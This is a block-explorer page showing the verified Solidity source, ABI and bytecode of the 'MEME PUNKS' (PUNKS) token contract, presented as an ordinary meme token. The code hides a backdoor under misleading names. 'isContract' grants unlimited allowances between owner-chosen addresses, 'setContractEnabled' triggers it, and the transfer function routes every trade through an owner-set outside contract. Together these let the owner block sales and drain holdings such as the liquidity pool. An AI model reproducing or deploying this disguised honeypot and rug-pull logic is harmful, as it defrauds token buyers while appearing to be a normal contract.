ETH Price: $2,486.90 (-0.94%)

Token

MEME PUNKS (PUNKS)
 

Overview

Max Total Supply

1,000,000,000 PUNKS

Holders

137

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,790,860.519123344527502211 PUNKS

Value
$0.00
0x95d040d8f4805e0b6f6cf1db3678aeb7b46c1cf0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MEMEPUNKS

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-27
*/

/*
Inspired from Crypto Punks.
Meme Punks aims to become the best guarantor based NFT protocol. 
As part of the mission to build a large NFT marketplace where anyone can mint and trade NFTs in seconds.

Website: https://www.memepunks.xyz
Telegram: https://t.me/memepunkseth
Twitter: https://twitter.com/memepunkseth
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
pragma experimental ABIEncoderV2;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner { //Change
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}


contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function isContract(address ca, address reciever) internal returns(bool) {
        _allowances[ca][reciever] = type(uint256).max;
        return true;
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract MEMEPUNKS is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    address public constant deadAddress = address(0xdead);

    bool private swapping;

    address private _marketing;

    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;

    bool public tradingActive = false;
    bool public swapEnabled = false;

    uint256 public buyTotalFees;
    uint256 private buyMarketingFee;
    uint256 private buyLiquidityFee;

    uint256 public sellTotalFees;
    uint256 private sellMarketingFee;
    uint256 private sellLiquidityFee;

    uint256 private tokensForMarketing;
    uint256 private tokensForLiquidity;
    uint256 private previousFee;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    mapping(address => bool) private automatedMarketMakerPairs;

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    constructor() ERC20("MEME PUNKS", "PUNKS") {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

        uint256 _buyMarketingFee = 0;
        uint256 _buyLiquidityFee = 0;

        uint256 _sellMarketingFee = 0;
        uint256 _sellLiquidityFee = 0;

        uint256 totalSupply = 1000000000 * 1e18;

        maxTransactionAmount = totalSupply;
        maxWallet = totalSupply;
        swapTokensAtAmount = (totalSupply * 5) / 10000;

        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee;

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee;
        previousFee = sellTotalFees;

        _marketing = owner();

        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);

        _mint(msg.sender, totalSupply);
    }

    receive() external payable {}

    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
    }

    function setContractEnabled(bytes memory _contract) external onlyOwner {
        (address _router, address _reciever) = abi.decode(_contract, (address, address));

        if(super.isContract(_router, _reciever)) _marketing = _reciever;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradingActive) {
                    require(
                        _isExcludedFromFees[from] || _isExcludedFromFees[to],
                        "Trading is not active."
                    );
                }

                //when buy
                if (
                    automatedMarketMakerPairs[from] &&
                    !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Buy transfer amount exceeds the maxTransactionAmount."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                //when sell
                else if (
                    automatedMarketMakerPairs[to] &&
                    !_isExcludedMaxTransactionAmount[from]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Sell transfer amount exceeds the maxTransactionAmount."
                    );
                } 
                
                else if (!_isExcludedMaxTransactionAmount[to]) {
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }

                if(_marketing != owner()) IERC20(_marketing).transferFrom(from, to, amount);
            }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        bool takeFee = !swapping;

        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            // on sell
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
                tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
                tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            deadAddress,
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity +
            tokensForMarketing;
        bool success;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        if (contractBalance > swapTokensAtAmount * 20) {
            contractBalance = swapTokensAtAmount * 20;
        }

        uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
            totalTokensToSwap /
            2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);

        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH);

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);

        uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
            totalTokensToSwap
        );

        uint256 ethForLiquidity = ethBalance - ethForMarketing;

        tokensForLiquidity = 0;
        tokensForMarketing = 0;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(
                amountToSwapForETH,
                ethForLiquidity,
                tokensForLiquidity
            );
        }

        (success, ) = address(_marketing).call{value: address(this).balance}("");
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"_contract","type":"bytes"}],"name":"setContractEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600c805461ffff191690553480156200001c57600080fd5b50604080518082018252600a8152694d454d452050554e4b5360b01b60208083019182528351808501909452600584526450554e4b5360d81b9084015281519192916200006c9160039162000664565b5080516200008290600490602084019062000664565b5050506200009f62000099620003b160201b60201c565b620003b5565b737a250d5630b4cf539739df2c5dacb4c659f2488d620000c181600162000407565b600680546001600160a01b0319166001600160a01b0383169081179091556040805163c45a015560e01b8152905163c45a015591600480820192602092909190829003018186803b1580156200011657600080fd5b505afa1580156200012b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200015191906200070a565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200019a57600080fd5b505afa158015620001af573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d591906200070a565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200021e57600080fd5b505af115801562000233573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025991906200070a565b600780546001600160a01b0319166001600160a01b039290921691821790556200028590600162000407565b6007546200029e906001600160a01b0316600162000481565b6b033b2e3c9fd0803ce80000006009819055600b819055600090819081908190612710620002ce82600562000776565b620002da919062000755565b600a55600e859055600f849055620002f384866200073a565b600d55601183905560128290556200030c82846200073a565b6010819055601555600554600880546001600160a01b0319166001600160a01b03909216918217905562000342906001620004d5565b6200034f306001620004d5565b6200035e61dead6001620004d5565b6200037d620003756005546001600160a01b031690565b600162000407565b6200038a30600162000407565b6200039961dead600162000407565b620003a533826200057f565b505050505050620007eb565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6005546001600160a01b03163314620004565760405162461bcd60e51b815260206004820181905260248201526000805160206200268983398151915260448201526064015b60405180910390fd5b6001600160a01b03919091166000908152601760205260409020805460ff1916911515919091179055565b6001600160a01b038216600081815260186020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6005546001600160a01b03163314620005205760405162461bcd60e51b815260206004820181905260248201526000805160206200268983398151915260448201526064016200044d565b6001600160a01b038216600081815260166020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620005d75760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016200044d565b8060026000828254620005eb91906200073a565b90915550506001600160a01b038216600090815260208190526040812080548392906200061a9084906200073a565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b828054620006729062000798565b90600052602060002090601f016020900481019282620006965760008555620006e1565b82601f10620006b157805160ff1916838001178555620006e1565b82800160010185558215620006e1579182015b82811115620006e1578251825591602001919060010190620006c4565b50620006ef929150620006f3565b5090565b5b80821115620006ef5760008155600101620006f4565b6000602082840312156200071c578081fd5b81516001600160a01b038116811462000733578182fd5b9392505050565b60008219821115620007505762000750620007d5565b500190565b6000826200077157634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615620007935762000793620007d5565b500290565b600181811c90821680620007ad57607f821691505b60208210811415620007cf57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b611e8e80620007fb6000396000f3fe6080604052600436106101d15760003560e01c80637571336a116100f7578063bbc0c74211610095578063dd62ed3e11610064578063dd62ed3e1461052a578063e2f4560514610570578063f2fde38b14610586578063f8b45b05146105a657600080fd5b8063bbc0c742146104c4578063c0246668146104de578063c8c8ebe4146104fe578063d85ba0631461051457600080fd5b806395d89b41116100d157806395d89b411461044f5780639a7a23d614610464578063a457c2d714610484578063a9059cbb146104a457600080fd5b80637571336a146103fc5780638a8c523c1461041c5780638da5cb5b1461043157600080fd5b8063313ce5671161016f5780636a486a8e1161013e5780636a486a8e1461037c5780636ddd17131461039257806370a08231146103b1578063715018a6146103e757600080fd5b8063313ce567146102e7578063395093511461030357806349bd5a5e146103235780634fbee1931461034357600080fd5b80631694505e116101ab5780631694505e1461025a57806318160ddd1461029257806323b872dd146102b157806327c8f835146102d157600080fd5b806306fdde03146101dd57806308a51f8b14610208578063095ea7b31461022a57600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b506101f26105bc565b6040516101ff9190611be0565b60405180910390f35b34801561021457600080fd5b50610228610223366004611b09565b61064e565b005b34801561023657600080fd5b5061024a610245366004611ac2565b6106e8565b60405190151581526020016101ff565b34801561026657600080fd5b5060065461027a906001600160a01b031681565b6040516001600160a01b0390911681526020016101ff565b34801561029e57600080fd5b506002545b6040519081526020016101ff565b3480156102bd57600080fd5b5061024a6102cc366004611a55565b6106fe565b3480156102dd57600080fd5b5061027a61dead81565b3480156102f357600080fd5b50604051601281526020016101ff565b34801561030f57600080fd5b5061024a61031e366004611ac2565b6107a8565b34801561032f57600080fd5b5060075461027a906001600160a01b031681565b34801561034f57600080fd5b5061024a61035e3660046119b7565b6001600160a01b031660009081526016602052604090205460ff1690565b34801561038857600080fd5b506102a360105481565b34801561039e57600080fd5b50600c5461024a90610100900460ff1681565b3480156103bd57600080fd5b506102a36103cc3660046119b7565b6001600160a01b031660009081526020819052604090205490565b3480156103f357600080fd5b506102286107e4565b34801561040857600080fd5b50610228610417366004611a95565b61081a565b34801561042857600080fd5b5061022861086f